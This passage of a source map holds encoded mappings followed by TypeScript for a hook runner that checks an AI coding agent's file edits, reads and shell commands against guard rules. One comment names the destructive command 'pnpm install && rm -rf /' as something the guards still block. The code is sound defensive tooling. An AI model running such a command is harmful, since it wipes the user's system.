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","sourcesContent":["import * as path from 'path';\n\nimport { loadAndValidate, LoadedConfig, WebpiecesRulesConfig, ExcludePaths, isHookGuard, DEFAULT_HANG_TIMEOUT_MINUTES, RepoRootFinder, seedEntryForRule, CONFIG_FILENAME } from '@webpieces/rules-config';\n\nimport { buildContexts, buildBashContext } from './build-context';\nimport { EffectiveTree, EffectiveTreeResolver, atRoot } from './effective-tree';\nimport { loadRules, loadMatchRules, globMatches } from './load-rules';\nimport { MatchRule } from './rules/match-rule';\nimport { triggerMainSyncRefresh } from './main-sync-refresh';\nimport { logGuardDecision, GuardDecision, branchForLog } from './decision-log';\nimport { toError } from './to-error';\nimport { formatReport, READ_SUBJECT, BASH_SUBJECT } from './report';\nimport { ReadOnlyInspectionScan } from './read-only-inspection';\nimport { L0_ALLOW_JS } from '../bin/shim';\nimport { CONFIG_MISSING_REPORT, CONFIG_OUT_OF_SYNC_HEADER, writeGuardMatrixDoc, guardMatrixPointer } from './l0-matrix';\nimport {\n ToolKind, NormalizedToolInput, BlockedResult, HookMode,\n Rule, Violation, RuleGroup, RuleFailError, InformAiError,\n EditContext, FileContext, BashContext,\n} from './types';\n\n// Restrict loaded rules to the category this hook invocation runs. The two split hooks each pass a\n// disjoint category ('rules' = code-style, 'guards' = the hookGuards section); 'all' runs both (the\n// openclaw plugin adapter, a single before_tool_call hook). isHookGuard is the shared classifier in\n// @webpieces/rules-config.\nfunction filterByMode(rules: readonly Rule[], mode: HookMode): readonly Rule[] {\n if (mode === 'all') return rules;\n if (mode === 'guards') return rules.filter((r: Rule): boolean => isHookGuard(r.name));\n return rules.filter((r: Rule): boolean => !isHookGuard(r.name));\n}\n\n// Drop every rule excluded for this path (webpieces.config.json → excludePaths). ONE glob list: a path\n// listed there is hands-off for code-style rules and file-scoped guards alike, because webpieces either\n// governs a path or it does not. Per-rule carve-outs live in the rule's own `excludePaths`.\n// This is L1's FILTER (not a table row) — see GUARD_MATRIX.md at the repo root.\nexport function filterByExcludedPaths(rules: readonly Rule[], relativePath: string, ex: ExcludePaths): readonly Rule[] {\n if (ex.paths.some((p: string): boolean => globMatches(p, relativePath))) return [];\n return rules;\n}\n\n// The cwd a command actually runs from, after its own leading `cd`/`pushd` run. Thin delegate kept\n// for the callers (and specs) that only need the directory; the full tree classification — primary\n// clone vs linked worktree vs nested clone vs outside any repo — is EffectiveTreeResolver.resolve().\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nexport function effectiveBashCwd(command: string, cwd: string): string {\n return new EffectiveTreeResolver().effectiveCwd(command, cwd);\n}\n\n// A git or gh invocation anywhere in the command (start, or after a ;/&&/|| separator or pipe).\nconst GIT_OR_GH_RE = /(?:^|[;&|]\\s*)(?:git|gh)\\b/;\nexport function isGitOrGhCommand(command: string): boolean {\n return GIT_OR_GH_RE.test(command);\n}\n\n// Fire-and-forget the detached refresher when feature-branch-guard is loaded and active, so the\n// cache (.webpieces/main-sync-status.json) stays fresh as the AI works. The guard rule itself also\n// triggers this on Write/Edit; this covers the Bash path so the cache is warm on every command.\nfunction maybeRefreshMainSync(rules: readonly Rule[], workspaceRoot: string): void {\n const guard = rules.find((r: Rule): boolean => r.name === 'feature-branch-guard');\n if (guard && guard.shouldRun()) {\n triggerMainSyncRefresh(workspaceRoot, DEFAULT_HANG_TIMEOUT_MINUTES);\n }\n}\n\n// Fault C (webpieces.config.json missing) — the deny text lives in ./l0-matrix beside the rest of the\n// L0 fault table, so the message and the allowlist can never prescribe different cures. `cwd` is used\n// only to drop the matrix doc where the AI can read it (the config root does not exist yet here).\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction configMissingBlock(cwd: string): BlockedResult {\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n return new BlockedResult(CONFIG_MISSING_REPORT + guardMatrixPointer(writeGuardMatrixDoc(root)));\n}\n\nexport function run(\n toolKind: ToolKind,\n input: NormalizedToolInput,\n cwd: string,\n mode: HookMode = 'all',\n): BlockedResult | null {\n return runInternal(toolKind, input, cwd, mode);\n}\n\nfunction runInternal(\n toolKind: ToolKind,\n input: NormalizedToolInput,\n cwd: string,\n mode: HookMode,\n): BlockedResult | null {\n const loaded = loadAndValidate(cwd);\n if (loaded.configPath === null) return configMissingBlock(cwd);\n\n const workspaceRoot = path.dirname(loaded.configPath);\n\n // Always allow edits to webpieces.config.json — it's the fix target when out of sync\n if (path.resolve(input.filePath) === path.resolve(loaded.configPath)) {\n return null;\n }\n\n // Built-in/custom rules PLUS the client-authored match-rules (content guards). Match-rules run only\n // in the file-edit path (they are code-style, so filterByMode keeps them out of the bash/guards path).\n const allRules = [...loadRules(loaded.rulesConfig, workspaceRoot), ...loadMatchRules(loaded.matchRules)];\n const modeRules = filterByMode(allRules, mode);\n if (modeRules.length === 0) return null;\n\n // Suppress enforcement for files under this category's excludePaths (e.g. vendored repos under\n // repositories/**). Exclusion is all-or-nothing per category, so an excluded file drops the whole\n // rule set and is fully hands-off — no violations AND no config-sync nag on those files.\n const relativePath = path.relative(workspaceRoot, input.filePath);\n const rules = filterByExcludedPaths(modeRules, relativePath, loaded.excludePaths);\n if (rules.length === 0) return null;\n\n // Config-sync applies only to built-in/custom rules; match-rules have their own validated section\n // (loadAndValidate already rejected an invalid `match-rules`), so they must not trip the sync nag.\n const outOfSync = checkConfigSync(rules.filter((r: Rule) => !(r instanceof MatchRule)), loaded.rulesConfig);\n if (outOfSync) return outOfSync;\n\n const contexts = buildContexts(toolKind, input, workspaceRoot);\n\n const editGroups = runEditRules(rules, contexts.editContexts);\n const fileGroups = runFileRules(rules, contexts.fileContext);\n const allGroups = [...editGroups, ...fileGroups];\n\n if (allGroups.length === 0) return null;\n\n const report = formatReport(relativePath, allGroups);\n return new BlockedResult(report);\n}\n\nexport function runBash(command: string, cwd: string, mode: HookMode = 'all'): BlockedResult | null {\n return runBashInternal(command, cwd, mode);\n}\n\n// The name of the ONLY rule permitted to block a Read. Reads are the highest-blast-radius tool\n// there is, so this path is an explicit single-rule allowlist rather than the general rule loop.\nconst READ_SCOPED_GUARDS: ReadonlySet<string> = new Set(['read-stale-guard']);\n\n/**\n * The Read path. Deliberately NOT `run()`:\n *\n * - NO config-sync check. A rule present in code but missing from webpieces.config.json blocks\n * every Write/Edit/Bash by design — but applying that to Read would mean an upgrade that adds\n * any new rule instantly blocks the agent from reading the very config file it must edit to fix\n * it. Reads must never carry that failure mode.\n * - NO general rule loop. Only READ_SCOPED_GUARDS run, so no code-style rule can ever see a Read.\n * - Fails OPEN everywhere, including on a thrown rule (the caller catches and allows).\n *\n * Returns null (allow) unless the one guard fires.\n */\n// webpieces-disable no-function-outside-class -- sibling of run()/runBash() in this module; the whole runner is module-scope functions and a lone class for this one entry point would break the file's shape\nexport function runRead(filePath: string, cwd: string, mode: HookMode = 'all'): BlockedResult | null {\n // Code-style mode has nothing to say about a read.\n if (mode === 'rules') return null;\n\n const loaded = loadAndValidate(cwd);\n // No config → nothing to enforce. Unlike the edit path we do NOT block: an unconfigured repo\n // must still be readable.\n if (loaded.configPath === null) return null;\n\n const workspaceRoot = path.dirname(loaded.configPath);\n\n // Same git-repo-boundary governance as bash, through the SAME resolver: a read inside a different\n // clone is out of scope. (No command to parse here, so the shell cwd IS the effective cwd.)\n if (new EffectiveTreeResolver().resolve('', cwd, workspaceRoot).kind === 'foreign') return null;\n\n const relativePath = path.relative(workspaceRoot, filePath);\n const all = loadRules(loaded.rulesConfig, workspaceRoot);\n const rules = filterByExcludedPaths(\n all.filter((r: Rule): boolean => READ_SCOPED_GUARDS.has(r.name)),\n relativePath,\n loaded.excludePaths,\n );\n if (rules.length === 0) return null;\n\n const ctx = new FileContext('Read', filePath, relativePath, workspaceRoot, 0, 0, 0, 0);\n const groups = runFileRules(rules, ctx);\n if (groups.length === 0) return null;\n\n return new BlockedResult(formatReport(relativePath, groups, READ_SUBJECT));\n}\n\n// L0 cure bypass — every command on THE L0 allowlist passes here, ahead of any config load. A\n// webpieces.config.json that is ahead of the installed validator (new rule tokens the published\n// binary doesn't know yet) makes loadAndValidate() throw and would deny `pnpm install` — the very\n// command that updates the validator (deadlock).\n//\n// This used to test INSTALLER_ALLOW_JS alone, which made the config faults (C = config missing,\n// Y = config out of sync) accept a bare `pnpm install` while denying `rm -rf node_modules && pnpm\n// install` — the one cure that works when node_modules is CORRUPT rather than merely stale. Same\n// intent, opposite verdict, for no reason anyone recorded. L0_ALLOW_JS is the single list every L0\n// fault consults; see its block comment in ../bin/shim. Each alternative is still anchored at both\n// ends, so `pnpm install && rm -rf /` still falls to the guards.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction isL0CureCommand(command: string): boolean {\n return L0_ALLOW_JS.test(command.trim());\n}\n\n// Force-to-root: git/gh commands must run from the repo root of the tree they act on, where the guards\n// can reason about git state coherently. L1 row 4 — see GUARD_MATRIX.md at the repo root for the table\n// and the use cases; change this predicate and that file is stale until you update it.\n//\n// ONE variable decides it: `tree.effectiveCwd` — the directory the command actually runs in, which is\n// the shell's cwd unless the command leads with `cd <dir> &&`. Root or not-root, nothing else.\n//\n// It used to be `shellAtRoot || cdsToRoot`, two variables OR'd, and that produced opposite verdicts for\n// the same destination: `git status` with the shell in packages/http/ was BLOCKED, while\n// `cd packages/http && git status` from the root was ALLOWED, because shellAtRoot short-circuited\n// before the destination was ever considered. The point of this guard is to keep the agent's git work\n// at the root — an agent that cd's INTO a subdir has the same broken mental model as one that is\n// stranded there, so it gets the same answer now.\n//\n// The remedy is emitted as ONE runnable line, `cd <root> && <the original command>`, rather than as\n// \"cd first, then re-run\". That advice is what made this guard print the very command it had just\n// rejected, and it is unreliable in both directions: a `cd` INTO this repo sticks (so the next call\n// may start somewhere unexpected), while a `cd` OUT of it is reset by the harness (so a separate\n// `cd <worktree>` call buys nothing). One self-contained line is correct either way.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction gitFromSubdirBlock(command: string, tree: EffectiveTree): BlockedResult | null {\n const targetAtRoot = path.resolve(tree.effectiveCwd) === path.resolve(tree.root);\n if (!isGitOrGhCommand(command) || targetAtRoot) return null;\n const report =\n `❌ Run git/gh commands from the repo root, not a subdirectory.\\n` +\n ` Command runs in: ${tree.effectiveCwd}\\n` +\n ` Judged against: ${tree.root}\\n` +\n ` Run EXACTLY this instead, as ONE line (a bare \\`cd\\` in a separate call is not equivalent —\\n` +\n ` a \\`cd\\` inside this repo STICKS for later calls, and a \\`cd\\` out of it is reset by the harness):\\n` +\n ` ${atRoot(tree.root, command)}\\n` +\n ` A leading \\`cd <path> &&\\` is ACCEPTED by the guards — it cannot change what the command\\n` +\n ` does to the repo. (The webpieces guards evaluate the repo's git state at its root.)`;\n logGuardDecision(tree.root, new GuardDecision('force-to-root', 'Bash', command, branchForLog(tree.root), 'BLOCK', 'git/gh from subdir'));\n return new BlockedResult(report);\n}\n\n// The L0 cure bypass's audit line. Anchored at the repo root that owns `.webpieces` — RepoRootFinder\n// (config-walk-up first, then git toplevel) is the authority for that, and it is correct in a linked\n// worktree because each worktree checks out its own webpieces.config.json. This runs BEFORE\n// loadAndValidate, which is why it resolves the root itself rather than using workspaceRoot.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction logL0CureBypass(command: string, cwd: string): void {\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(root, new GuardDecision('-', 'Bash', command, branchForLog(root), 'ALLOW', 'L0 cure bypass (always allowed)'));\n}\n\n/**\n * Load the config for the bash path — but do NOT let an unloadable config trap the tools needed to\n * repair it.\n *\n * loadAndValidate throws an InformAiError when webpieces.config.json is unparseable (a real syntax\n * error, or leftover `<<<<<<< HEAD` markers mid-merge) or fails validation. That throw propagates to\n * the hook adapter, which fails CLOSED and denies the command — correct for work, since a config that\n * did not load means no guards ran. But it denied `cat`/`grep`/`sed -n` on webpieces.config.json too,\n * i.e. it blocked the only way to see the problem it was reporting. Observed live, twice.\n *\n * So: on a load failure, a provably-inert INSPECTION command is allowed through (returns null, \"no\n * block\"), matching the escape hatch every other layer already grants this file. Everything else —\n * every write, every git/gh command, every build — still hits the same hard failure as before. The\n * bypass cannot be widened by accident; see ReadOnlyInspectionScan for how narrow \"inert\" is.\n *\n * Returns the loaded config, or null meaning \"allow this command without guards\".\n */\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction loadConfigOrAllowInspection(command: string, cwd: string): LoadedConfig | null {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions -- rethrown unchanged unless the command is provably inert\n try {\n return loadAndValidate(cwd);\n } catch (err: unknown) {\n const error = toError(err);\n if (error instanceof InformAiError && new ReadOnlyInspectionScan().isReadOnlyInspection(command)) {\n return null;\n }\n throw error;\n }\n}\n\nfunction runBashInternal(command: string, cwd: string, mode: HookMode): BlockedResult | null {\n if (isL0CureCommand(command)) {\n logL0CureBypass(command, cwd);\n return null;\n }\n\n const loaded = loadConfigOrAllowInspection(command, cwd);\n // null = the config would not load AND this command only inspects → allow, see the helper.\n if (loaded === null) return null;\n if (loaded.configPath === null) return configMissingBlock(cwd);\n\n const workspaceRoot = path.dirname(loaded.configPath);\n\n // WHICH TREE does this command act on? Not the shell's cwd: a `cd` OUT of the workspace is reset\n // by the harness and one INSIDE it persists, so neither can be assumed (see EffectiveTree).\n // ONE resolver answers this for the guards AND for force-to-root below, so the two can never\n // disagree about which tree you are in.\n const tree = new EffectiveTreeResolver().resolve(command, cwd, workspaceRoot);\n\n // Git-repo-boundary governance: the command runs inside a DIFFERENT git repo than this\n // webpieces.config governs (e.g. a clone under repositories/). Out of scope → allow, hands-off.\n // Intentional, not a silent hole. A LINKED WORKTREE of this repo is deliberately NOT foreign — it\n // is the same project, so the guards run against THAT 